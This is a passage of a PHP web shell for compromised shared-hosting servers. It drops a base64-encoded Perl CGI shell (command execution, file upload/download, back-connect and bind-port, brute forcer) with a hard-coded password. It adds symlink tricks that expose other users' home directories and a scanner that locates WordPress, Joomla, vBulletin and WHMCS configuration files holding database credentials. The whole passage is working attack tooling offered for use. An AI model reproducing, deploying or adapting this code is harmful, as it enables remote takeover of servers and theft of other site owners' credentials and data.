JCQlwdXNoKEBkbmFtZSwkZmlsZSk7DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCXB1c2goQGZuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcihESVIpOw0KCQl9DQoJCUBmbmFtZSA9IHNvcnQgeyBsYygkYSkgY21wIGxjKCRiKSB9IEBmbmFtZTsNCgkJQGRuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGRuYW1lOw0KCQkkcmVzdWx0IC49ICI8ZGl2Pjx0YWJsZSB3aWR0aD0nOTAlJyBjbGFzcz0nbGlzdGRpcic+DQoJCTx0ciBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjogIzNlM2UzZSc+PHRoPkZpbGUgTmFtZTwvdGg+DQoJCTx0aCB3aWR0aD0nMTAwJz5GaWxlIFNpemU8L3RoPg0KCQk8dGggd2lkdGg9JzE1MCc+T3duZXI8L3RoPg0KCQk8dGggd2lkdGg9JzEwMCc+UGVybWlzc2lvbjwvdGg+DQoJCTx0aCB3aWR0aD0nMTUwJz5MYXN0IE1vZGlmaWVkPC90aD4NCgkJPHRoIHdpZHRoPScyMzAnPkFjdGlvbjwvdGg+PC90cj4iOw0KCQlteSAkc3R5bGU9Im5vdGxpbmUiOw0KCQlteSAkaT0wOw0KCQlmb3JlYWNoIG15ICRkIChAZG5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZCA9ICZ0cmltKCRkKTsNCgkJCSRkaXJuYW1lPSRkOw0KCQkJaWYoJGQgZXEgIi4uIikgDQoJCQl7DQoJCQkJJGQgPSAmUGFyZW50Rm9sZGVyKCRwYXRoKTsNCgkJCX0NCgkJCWVsc2lmKCRkIGVxICIuIikgDQoJCQl7DQoJCQkJbmV4dDsNCgkJCX0NCgkJCWVsc2UgDQoJCQl7DQoJCQkJJGQgPSAkcGF0aC4kZDsNCgkJCX0NCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdkaXInPjxhICBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJGQpLiInPlsgIi4kZGlybmFtZS4iIF08L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPkRJUjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlT3duZXIoJGQpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZCkuIicsJyIuJGRpcm5hbWUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCIuJGkuIiwnIi4kZGlybmFtZS4iJylcIiA+Ii4mRmlsZVBlcm1zKCRkKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpOyByZXR1cm4gZmFsc2U7IFwiPlJlbmFtZTwvYT4gIHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZGlyOiAkZGlybmFtZSA/JykpIHsgcmV0dXJuIGZhbHNlO31cIiBocmVmPSc/YT1ndWkmZD0iLiZFbmNvZGVEaXIoJHBhdGgpLiImcmVtb3ZlPSRkaXJuYW1lJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQlmb3JlYWNoIG15ICRmIChAZm5hbWUpDQoJCXsNCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7DQoJCQkkZmlsZT0kZjsNCgkJCSRmID0gJHBhdGguJGY7DQoJCQlteSAkYWN0aW9uID0gZW5jb2RlX2Jhc2U2NCgiZWRpdCAiLiRmaWxlKTsNCgkJCSR2aWV3ID0gIj9kaXI9Ii4kcGF0aC4iJnZpZXc9Ii4kZjsNCgkJCSRyZXN1bHQgLj0gIjx0ciBjbGFzcz0nJHN0eWxlJz48dGQgaWQ9J0ZpbGVfJGknIGNsYXNzPSdmaWxlJz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJmM9Ii4kYWN0aW9uLiInPiIuJGZpbGUuIjwvYT48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQ+Ii4mUGFyc2VGaWxlU2l6ZSgmRmlsZVNpemUoJGYpKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJkZpbGVPd25lcigkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBpZD0nRmlsZVBlcm1zXyRpJyBvbmRibGNsaWNrPVwicm1fY2htb2RfZm9ybSh0aGlzLCIuJGkuIiwnIi4mRmlsZVBlcm1zKCRmKS4iJywnIi4kZmlsZS4iJylcIiA+PHNwYW4gb25jbGljaz1cImNobW9kX2Zvcm0oJGksJyRmaWxlJylcIiA+Ii4mRmlsZVBlcm1zKCRmKS4iPC9zcGFuPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD4iLiZGaWxlTGFzdE1vZGlmaWVkKCRmKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPjxhIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJyk7IHJldHVybiBmYWxzZTtcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9Ii4mRW5jb2RlRGlyKCRwYXRoKS4iJnJlbW92ZT0kZmlsZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJJHJlc3VsdCAuPSAiPC90YWJsZT48L2Rpdj4iOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVHJ5IHRvIFZpZXcgTGlzdCBVc2VyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVmlld0RvbWFpblVzZXINCnsNCglvcGVuIChkMG1haW5zLCAnL2V0Yy9uYW1lZC5jb25mJykgb3IgJGVycj0xOw0KCW15IEBjbnpzID0gPGQwbWFpbnM+Ow0KCWNsb3NlIGQwbWFpbnM7DQoJbXkgJHN0eWxlPSJsaW5lIjsNCglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbWFpbiArIFVzZXI8L2ZvbnQ+PC9oMz4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGUgaWQ9ImRvbWFpbiI+PHRyPjx0aD5kMG1haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSB0cmltKCIvZXRjL3ZhbGlhc2VzLyIuJDEpOw0KCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOw0KCQkJJHJlc3VsdCAuPSAnPHRyIHN0eWxlPSIkc3R5bGUiIHdpZHRoPTUwJT48dGQ+PGEgaHJlZj0iaHR0cDovLycuJDEuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJDEuJzwvYT48L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6ICNmZjk5MDA7Jz5Eb24ndCBydW4gb24gV2luZG93czwvZm9udD48L2gyPiI7DQoJfQ0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7DQoJbXkgQHBhdGhsb2c9KAknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsDQoJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCScvdmFyL2xvZy9odHRwZC9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9hY2Nlc3NfbG9nJywNCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL3N1cGhwX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9zdGF0c19sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvYWNjZXNzX2xvZycsDQoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbGljZW5zZV9sb2cnLA0KCQkJJy91c3IvbG9jYWwvY3BhbmVsL2xvZ3MvbG9naW5fbG9nJywNCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsDQoJCQknL3Zhci9jcGFuZWwvY3BhbmVsLmNvbmZpZycsDQoJCQknL3Vzci9sb2NhbC9waHAvbGliL3BocC5pbmknLA0KCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtYmluLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwubG9nJywNCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLA0KCQkJJy92YXIvbG9nL215c3FsL215c3FsLmxvZycsDQoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwtc2xvdy5sb2cnLA0KCQkJJy92YXIvbXlzcWwubG9nJywNCgkJCScvdmFyL2xpYi9teXNxbC9teS5jbmYnLA0KCQkJJy9ldGMvbXlzcWwvbXkuY25mJywNCgkJCScvZXRjL215LmNuZicsDQoJCQkpOw0KCW15ICRpPTA7DQoJbXkgJHBlcm1zOw0KCW15ICRzbDsNCglmb3JlYWNoIG15ICRsb2cgKEBwYXRobG9nKQ0KCXsNCgkJaWYoLXIgJGxvZykNCgkJew0KCQkJJHBlcm1zPSJPSyI7DQoJCX1lbHNlDQoJCXsNCgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOw0KCQl9DQoJCSRyZXN1bHQgLj08PEVORDsNCgkJPHRyPg0KDQoJCQk8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvblN1Ym1pdD0iRW5jb2RlcignbG9nJGknKSI+DQoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4NCgkJCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVHJ5IiAvPjwvdGQ+DQoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCIgLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4NCgkJCTwvZm9ybT4NCgkJCTx0ZD4kcGVybXM8L3RkPg0KDQoJCTwvdHI+DQpFTkQNCgkJJGkrKzsNCgl9DQoJJHJlc3VsdCAuPSI8L3RhYmxlPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIE1haW4gUHJvZ3JhbSAtIEV4ZWN1dGlvbiBTdGFydHMgSGVyZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJlJlYWRQYXJzZTsNCiZHZXRDb29raWVzOw0KDQokU2NyaXB0TG9jYXRpb24gPSAkRU5WeydTQ1JJUFRfTkFNRSd9Ow0KJFNlcnZlck5hbWUgPSAkRU5WeydTRVJWRVJfTkFNRSd9Ow0KJExvZ2luUGFzc3dvcmQgPSAkaW57J3AnfTsNCiRSdW5Db21tYW5kID0gZGVjb2RlX2Jhc2U2NCgkaW57J2MnfSk7DQokVHJhbnNmZXJGaWxlID0gJGlueydmJ307DQokT3B0aW9ucyA9ICRpbnsnbyd9Ow0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KDQokQWN0aW9uID0gImNvbW1hbmQiIGlmKCRBY3Rpb24gZXEgIiIpOyAjIG5vIGFjdGlvbiBzcGVjaWZpZWQsIHVzZSBkZWZhdWx0DQoNCiMgZ2V0IHRoZSBkaXJlY3RvcnkgaW4gd2hpY2ggdGhlIGNvbW1hbmRzIHdpbGwgYmUgZXhlY3V0ZWQNCiRDdXJyZW50RGlyID0gJlRyaW1TbGFzaGVzKGRlY29kZV9iYXNlNjQodHJpbSgkaW57J2QnfSkpKTsNCiMgbWFjIGRpbmggeHVhdCB0aG9uZyB0aW4gbmV1IGtvIGNvIGxlbmggbmFvIQ0KJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiIGlmKCRSdW5Db21tYW5kIGVxICIiKTsNCmNob21wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcigiZCIpOw0KCWlmKCEkV2luTlQpDQoJew0KCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCWlmKCRjaG1vZCBuZSAwKQ0KCQl7DQoJCQkkY2htb2Q9aW50KCRpbnsnY2htb2QnfSk7DQoJCQkkZmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCQkJaWYoY2htb2QoJGNobW9kLCRmaWxlKSkNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCRyZW5hbWUgbmUgIiIpDQoJew0KCQlpZihyZW5hbWUoJFRyYW5zZmVyRmlsZSwkcmVuYW1lKSkNCgkJew0KCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQl9ZWxzZQ0KCQl7DQoJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQl9DQoJfQ0KCSRyZW1vdmU9JGlueydyZW1vdmUnfTsNCglpZigkcmVtb3ZlIG5lICIiKQ0KCXsNCgkJJHJtID0gJEN1cnJlbnREaXIuJFBhdGhTZXAuJHJlbW92ZTsNCgkJaWYoLWQgJHJtKQ0KCQl7DQoJCQkmUm1EaXIoJHJtKTsNCgkJfWVsc2UNCgkJew0KCQkJaWYodW5saW5rKCRybSkpDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCQkJfWVsc2UNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCQkJfQkJCQ0KCQl9DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KDQp9DQplbHNpZigkQWN0aW9uIGVxICJjb21tYW5kIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCglwcmludCAmRXhlY3V0ZUNvbW1hbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJzYXZlIikJCQkJIAkjIHVzZXIgd2FudHMgdG8gc2F2ZSBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCWlmKCZTYXZlRmlsZSgkaW57J2RhdGEnfSwkaW57J2ZpbGUnfSkpDQoJew0KCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJfWVsc2UNCgl7DQoJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJfQ0KCXByaW50ICZMaXN0RGlyOw0KfWVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiYmFja2JpbmQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGJhY2sgY29ubmVjdCBvciBiaW5kIHBvcnQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjbGllbnRwb3J0Iik7DQoJcHJpbnQgJkJhY2tCaW5kOw0KfWVsc2lmKCRBY3Rpb24gZXEgImJydXRlZm9yY2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIGJydXRlIGZvcmNlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmQnJ1dGVGb3JjZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQ0Kew0KCXByaW50ICZEb3dubG9hZEZpbGU7DQp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KCXByaW50ICZWaWV3TG9nOw0KDQp9ZWxzaWYoJEFjdGlvbiBlcSAiZG9tYWluc3VzZXIiKSAJCQkjIHVzZXIgd2FudHMgdG8gdmlldyBsaXN0IHVzZXIvZG9tYWluDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0RvbWFpblVzZXI7DQp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQNCnsNCgkmUGVyZm9ybUxvZ291dDsNCn0NCiZQcmludFBhZ2VGb290ZXI7';
2276
2277$file = fopen("cgi4e.izo" ,"w+");
2278$write = fwrite ($file ,base64_decode($cgi4e));
2279fclose($file);
2280chmod("cgi4e.izo",0755);
2281echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>CGI-Telnet Version 1.4 </span><br><font face='Tahoma' color='#007700' size='2pt'>Password : virusa</font><center><br><iframe src=cgi4e/cgi4e.izo width=75% height=60% frameborder=0></iframe>
2282
2283</div></center>";
2284}
2285
2286if(isset($_GET['action']) && $_GET['action'] == 'sym'){
2287echo '<center><b class="conte">
2288<a href="?action=sym">Symlink Info</a> -
2289<a href="?action=dose">Cms Scanner</a> -
2290<a href="?action=vkill">Perl based symlink</a> -
2291<a href="?action=file">Symlink Manual</a> -
2292<a href="?action=manu">Manually Retrieve Config</a> -
2293<a href="?action=ensim">Enable Symlink If Disabled</a> -
2294<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2295<a href="?action=simby">Symlink Bypass 2014</a> </center>
2296</b>';
2297echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Info</span><center><br>';
2298if(!is_file('named.txt')){
2299
2300$d00m = @file("/etc/named.conf");
2301
2302}else{
2303
2304$d00m = @file("named.txt");
2305
2306
2307}
2308if(!$d00m)
2309{
2310
2311die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
2312}
2313else
2314
2315{
2316echo "<div class='tmp'><table align='center' width='40%'><td><font color='#e4e4e4'><b>Domains</b></font></td><td><font color='#e4e4e4'><b>Users</b></font></td><td><font color='#e4e4e4'><b>Symlink</b> </font></td>";
2317foreach($d00m as $dom){
2318
2319if(eregi("zone",$dom)){
2320
2321preg_match_all('#zone "(.*)"#', $dom, $domvw);
2322
2323flush();
2324
2325if(strlen(trim($domvw[1][0])) > 2){
2326
2327$user = posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
2328
2329flush();
2330
2331
2332
2333$site = $user['name'] ;
2334
2335
2336@symlink("/","sim/rut");
2337
2338$site = $domvw[1][0];
2339
2340$ir = 'ir';
2341
2342$il = 'il';
2343
2344if (preg_match("/.^$ir/",$domvw[1][0]) or preg_match("/.^$il/",$domvw[1][0]) )
2345{
2346$site = "<div style=' color: #fff600 ; text-shadow: 0px 0px 1px red; '>".$domvw[1][0]."</div>";
2347}
2348
2349
2350echo "
2351<tr>
2352
2353<td>
2354<div class='cone'><a target='_blank' href=http://www.".$domvw[1][0]."/>".$site." </a> </div>
2355</td>
2356
2357
2358<td><font face='Tahoma' color='#d0d000' size='2pt'>
2359".$user['name']."
2360</td></font>
2361
2362
2363
2364
2365
2366
2367<td>
2368<div class='cone'><a href='sim/rut/home/".$user['name']."/public_html' target='_blank'>Symlink </a></div>
2369</td>
2370
2371
2372</tr></div> ";
2373
2374
2375flush();
2376flush();
2377
2378}
2379}
2380}
2381}
2382echo "</table></div><br><br>";
2383}
2384if(isset($_GET['action']) && $_GET['action'] == 'dose'){
2385echo '<center><b class="conte">
2386<a href="?action=sym">Symlink Info</a> -
2387<a href="?action=dose">Cms Scanner</a> -
2388<a href="?action=vkill">Perl based symlink</a> -
2389<a href="?action=file">Symlink Manual</a> -
2390<a href="?action=manu">Manually Retrieve Config</a> -
2391<a href="?action=ensim">Enable Symlink If Disabled</a> -
2392<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2393<a href="?action=simby">Symlink Bypass 2014</a> </center>
2394</b>';
2395echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Cms Scanner</span><center><br>';
2396if(!@is_file('named.txt')){
2397$d00m = @file("/etc/named.conf");
2398}else{
2399$d00m = @file("named.txt");
2400}
2401if(!$d00m)
2402{
2403die ("<meta http-equiv='refresh' content='0; url=?action=read'/>");
2404}
2405else
2406{
2407echo "<div class='tmp'>
2408<table align='center' width='40%'><td> <font color='#e4e4e4'><b>Domains </b></font></td><td> <font color='#e4e4e4'><b>Script</b></font> </td>";
2409foreach($d00m as $dom){
2410flush();
2411flush();
2412if(eregi("zone",$dom)){
2413@preg_match_all('#zone "(.*)"#', $dom, $domvw);
2414flush();
2415if(@strlen(trim($domvw[1][0])) > 2){
2416$user = @posix_getpwuid(@fileowner("/etc/valiases/".$domvw[1][0]));
2417$wpl=$pageURL."/sim/rut/home/".$user['name']."/public_html/wp-config.php";
2418$wpp=@get_headers($wpl);
2419$wp=$wpp[0];
2420$wp2=$pageURL."/sim/rut/home/".$user['name']."/public_html/blog/wp-config.php";
2421$wpp2=@get_headers($wp2);
2422$wp12=$wpp2[0];
2423$jo1=$pageURL."/sim/rut/home/".$user['name']."/public_html/configuration.php";
2424$joo=@get_headers($jo1);
2425$jo=$joo[0];
2426$jo2=$pageURL."/sim/rut/home/".$user['name']."/public_html/joomla/configuration.php";
2427$joo2=@get_headers($jo2);
2428$jo12=$joo2[0];
2429$vb1=$pageURL."/sim/rut/home/".$user['name']."/public_html/includes/config.php";
2430$vbb=@get_headers($vb1);
2431$vb=$vbb[0];
2432$vb2=$pageURL."/sim/rut/home/".$user['name']."/public_html/vb/includes/config.php";
2433$vbb2=@get_headers($vb2);
2434$vb12=$vbb2[0];
2435$vb3=$pageURL."/sim/rut/home/".$user['name']."/public_html/forum/includes/config.php";
2436$vbb3=@get_headers($vb3);
2437$vb13=$vbb3[0];
2438$wh1=$pageURL."/sim/rut/home/".$user['name']."public_html/clients/configuration.php";
2439$whh2= @get_headers($wh1);
2440$wh=$whh2[0];
2441$wh2=$pageURL."/sim/rut/home/".$user['name']."/public_html/support/configuration.php";
2442$whh2= @get_headers($wh2);
2443$wh12=$whh2[0];
2444$wh3=$pageURL."/sim/rut/home/".$user['name']."/public_html/database.php";
2445$whh3= @get_headers($wh3);
2446$wh13=$whh3[0];
2447$wh5=$pageURL."/sim/rut/home/".$user['name']."/public_html/config.php";
2448$whh5= @get_headers($wh5);
2449$wh15=$whh5[0];
2450$wh4=$pageURL."/sim/rut/home/".$user['name']."/public_html/client/configuration.php";
2451$whh4= @get_headers($wh4);
2452$wh14=$whh4[0];
2453$pos = strpos($wp, "200");
2454$config=" ";
2455
2456if (strpos($wp, "200") == true )
2457{
2458 $config="<div class='cone'><a href='".$wpl."' target='_blank'>Wordpress</a></div>";
2459}
2460elseif (strpos($wp12, "200") == true)
2461{
2462 $config="<div class='cone'><a href='".$wp2."' target='_blank'>Wordpress</a></div>";
2463}
2464
2465elseif (strpos($jo, "200") == true and strpos($wh15, "200") == true )
2466{
2467$config=" <div class='cone'><a href='".$wh5."' target='_blank'>WHMCS</a></div>";
2468
2469}
2470elseif (strpos($wh12, "200") == true)
2471{
2472 $config ="<div class='cone'> <a href='".$wh2."' target='_blank'>WHMCS</a></div>";
2473}
2474
2475elseif (strpos($wh13, "200") == true)
2476{
2477$config ="<div class='cone'> <a href='".$wh3."' target='_blank'>WHMCS</a></div>";
2478
2479}
2480
2481elseif (strpos($jo, "200") == true)
2482{
2483$config=" <div class='cone'><a href='".$jo1."' target='_blank'>Joomla</a></div>";
2484}
2485
2486elseif (strpos($jo12, "200") == true)
2487{
2488$config=" <div class='cone'><a href='".$jo2."' target='_blank'>Joomla</a></div>";
2489}
2490
2491elseif (strpos($vb, "200") == true)
2492{
2493$config=" <div class='cone'><a href='".$vb1."' target='_blank'>vBulletin</a></div>";
2494}
2495
2496elseif (strpos($vb12, "200") == true)
2497{
